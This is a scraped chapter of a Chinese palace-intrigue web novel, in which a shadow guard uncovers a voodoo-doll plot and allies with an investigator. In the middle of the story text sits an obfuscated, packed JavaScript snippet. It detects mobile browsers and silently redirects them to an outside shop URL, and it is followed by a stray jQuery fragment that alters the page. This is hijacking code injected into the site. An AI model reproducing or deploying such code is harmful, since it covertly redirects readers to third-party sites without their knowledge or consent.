文趣网 > 玄幻小说 > 这爽文我不满意[快穿] > 21. 第21章
    “继续挖。”

    二皇子一声令下,首领又吭哧吭哧挖起来。

    阿芙怎么也没想到,她会弄巧成拙,让二皇子等人将姬睿的木匣子也挖出来。

    “这是什么东西?”三皇子好奇地提溜起巫蛊娃娃,“怎么这么多绣花针?”

    另两人的脸色颇有些难看,二人对视一眼,异口同声:“巫蛊娃娃。”

    “巫蛊娃娃?”三皇子重复了遍。

    沈策解释道:“这巫蛊娃娃在中原是被禁的东西,通常用来诅咒,是十分邪恶的存在。”

    闻言,三皇子将东西丢老远:“它、它怎么会在我的院子里?”

    首领已经默默将巫蛊娃娃捡起,再次送上前来。

    沈策瞅了眼,道:“看来这才是那位想让你看的东西。”

    二皇子接过巫蛊娃娃,仔细端详,良久才开口:“这娃娃身上的布料是从中原运来的云锦,特供皇家。今年夏季,沈筹也只带回来一匹,被母皇赐给了……”

    “姬睿!”三皇子接道,“因为云锦只有一匹,不好分,所以母皇赐给了公主小姨,小姨后来将它送给了姬睿。我还见姬睿穿过这云锦做的衣裳。”

    随后,她愤愤道:“姬睿是脑袋坏掉了吗?三番两次针对我作甚?我又没得罪他。”

    二皇子和沈策没有附和,两人对视一眼,皆看到了彼此眼中的震惊。

    姬睿莫不是想要效仿中原人?

    “我还有事,先告辞了。”二皇子说着招呼首领等人跟上。

    “我也先走了。”沈策溜得更快。

    “喂,你们!”三皇子气得直跺脚,他们都把她当傻子,“我去找沈姐姐玩,才不要和你们一起!”

    ——

    公主府内。

    沈策派去三皇子府门口盯梢的人终于回来了。

    “你确定二皇子带着人进去又挖又找,最后铁着一张脸出来的?”姬睿又问了一遍。

    侍女点头:“待了好一会儿呢,沈御史也去了,最后也黑着脸出来的,又没过多久,三皇子气鼓鼓地去找沈统领了。”

    姬睿一连串说了三个好,拍手叫绝,这才让侍女退下。

    他辗转来到书案前,将二皇子和三皇子画了个大大叉。

    现在就只剩下大皇子了。

    他最有力的竞争对手,皇帝和大臣最属意的储君。

    但从来没有哪一个皇帝能够允许有人觊觎自己屁股下的位置。

    阿芙站在树上,听到侍女回禀的内容后,不禁皱眉:她不是已经将东西埋在最下层了吗。

    天色渐暗,阿芙悄摸趴在三皇子府的围墙上,三皇子府的戒备比之昨夜森严不少。

    好在三皇子就不是个谨慎的性子,没过一会儿,真相就从那些侍女侍卫的嘴里拼凑个七七八八。

    她没想到自己误打误撞居然反将姬睿一军,平日里清冷的眸子也染上些许笑意。

    ——

    近些日子,朝堂上又为立储之事争论不休,皇帝为此十分苦恼,而同样苦恼的还有姬睿。

    留给他的时间不多了,一旦储君立下,再想夺位如同梦话。

    又是一日,风和日丽,阿芙首次脱下暗卫的黑衣,换上妙好国的服饰。

    额间的流珠随着她的步伐摇曳,发出清脆的碰响。

    姬睿在公主府琢磨了好几日,终于敲定了一个离间皇帝和大皇女的主意。

    让她在燕阳城内散布“大皇子拥兵自重、意图篡位”的谣言。

    阿芙在上一世也做过皇帝,也明白做皇帝都免不了疑心病,但姬睿信誓旦旦的模样还是让她忍不住唏嘘。

    男人之间、父子之间居然连这点信任也没有吗。

    但散播谣言之事,姬睿属实是为难她了。

    她就没从背后编排过人,骂姬睿这件事不算。

    阿芙漫无目的地在街上走着。

    “姑娘可要来一碗青稞酒,自家酿的。”卖酒的大娘吆喝着,阿芙停住脚步,有些好奇。

    来这个世界许久,她还从来没有尝过除了干粮以外的东西。

    而就在她身后不远处,沈策一边翻着记录,一边听着下属的汇报。

    他和二皇子查了两日,从姬睿的仇家查起,最后将目标锁定在一个最不起眼的人身上——姬睿身边的暗卫——小七。

    也是阿芙做事从没有扫尾,这才被他们轻易查到。

    正听着,他不经意间抬头,视线却牢牢锁在一个人的身上。

    那女人的背影他见过两次,绝不可能记错。

    下属正说着呢,下一瞬,记录的册子被抛到他手中,待接过时,沈御史早就不见了人影。

    二十步、十五步、十步、七步……一步。

    沈策站在她身后,伸出去的手欲前又止,最后悬在半空中。

    阿芙一早察觉出身后有人,不过记着自己现在扮演的是一个普通女子,便没有动手,谁想身后之人太过墨迹。

    “沈大人,您今日也是来买青稞酒的吗?”卖酒大娘瞧见沈策,语气里带着笑意。

    阿芙趁机转过身,将位置让出来。

    沈策尴尬地收回手,哈哈笑了两声:“那什么,我娘让我出来打点酒回去。”

    这话也算不得骗人,护国郡主确实爱喝大娘家酿的青稞酒。

    “好嘞。”卖酒大娘当即解开酒盖,打了满满一壶递给沈策,顺便寻了个小杯子给阿芙打了小半杯,“我瞧着姑娘似是没喝过,尝尝看。”

    酒香实在诱人,阿芙鬼使神差地伸出手接过,乳\白色的酒水有些浑浊,她浅尝一口,酸甜可口,随后一饮而尽。

    却没想到这青稞酒后劲大得很,刚放下酒盏,脑袋便有些晕乎,于是手撑着桌沿,微微摇头。

    “姑娘这是……”卖酒大娘赶忙上前扶住阿芙,“醉了?”

    阿芙强撑起身子,运转内力化解酒劲,脑袋这才清晰起来。

    “我没事的,大娘。”她不动声色地抽出手臂,“给我也来一壶吧。”

    “哎好。”

    大娘又重新忙碌起来,阿芙一抬头恰与沈策对视上,她面色如常地撇过脑袋。

    沈策原本心中还嘀咕自己是否认错了人,可当看到那双眸子时,就知道自己指定没认错。

    就是她!

    分明是她给自己写情书,还写得那般露\骨,如今瞧见他还当看不见。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507574|202388||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沈策气极反笑。

    阿芙瞅了他一眼,只当这人脑子有毛病,接过青稞酒便想走。

    手腕却被人用力攥住,险些将酒撒了一地。

    阿芙压制住将人掀翻在地的冲动,冷声问道:“沈大人找我有事?”

    都到这个时候,她居然还装。

    沈策忍不住加重了力道,直到对上女子极度不耐烦的眼神,他才恍然回神,连忙松开手,“我、我,不是你想的那样……”

    平日里一人能辩十人的沈御史此刻也结巴起来。

    阿芙没有等他解释,转身就要走,却没想沈策又追了上来。

    眼见周围人烟稀少,沈策才开始有些害怕:“你要去哪儿?”

    阿芙停住脚步,转身看向他:“沈大人一路跟着我作甚?”

    “我……”沈策犹豫了半天,又见阿芙要走,索性破罐子破摔地喊了句“小七。”

    听到这个称呼,阿芙头有些疼,每每姬睿这般叫她总没好事。

    但,她还是停了下来。

    她一个人就是日日夜夜盯着姬睿,也难免分身乏术,而眼前这个人,会是个很好的盟友。

    她走到沈策面前未曾停下,倒是沈策像是见到豺狼虎豹般小步往后退,再不见方才的穷追不舍。

    眼看着沈策被逼近角落,无法逃跑,阿芙才驻足:“沈大人调查我?”

    沈策抬起头与她对视,坦荡道:“是。”

    似是怕阿芙多想,他又开口解释:“我知你与姬睿并非一路人,否则不会三番四次打乱他的计划。”

    这猜的倒是对,阿芙点头默认,“所以,沈大人是来和我谈合作的?”

    沈策刚想说不是,说到嘴的话又咽下去,道:“是。你与我合作,事成之后,我帮你向陛下求情,取出体内的蛊虫。”

    “但你若是想要……”想要他的话,也不是不可以。

    话未说完,就听到阿芙道,“成交。”

    沈策默默将这句话咽下去,目光落在阿芙的脸上,想找出一丝勉强,可惜什么也没有。

    他爹说得对,女人都是骗子!

    阿芙看着方才还好好的沈策,突然扭头就走,有些摸不着头脑。

    沈策走了数十步,心中越想越气。

    她怎么能这么无所谓,倒像是他上赶着一样。

    想到这,沈策又折返回来,面无表情道:“说说看,姬睿这次又让你做什么?”

    阿芙正为此事头疼呢,有人上赶着来,她松了口气,将姬睿的计划和盘托出。

    “你若是觉得此事难为,我便再想想法子。”阿芙补充道。

    沈策心中称快,姬睿这是自取其辱,他十分自来熟地牵起阿芙的手腕:“跟我来。”

    阿芙瞥了眼手腕处,略微皱眉,但也没说什么。

    沈策带着她一路往回走,最后停在了一处有些混乱的小巷。

    巷子里吆喝声、嬉笑声不断,来来往往,形形色色,多是些面色凶狠之相。

    他们最后停在一处赌坊前,阿芙不解,问道:“来这里作甚?”

    沈策拉着她进去,声音飘散在风里:“一会儿你就知道了。”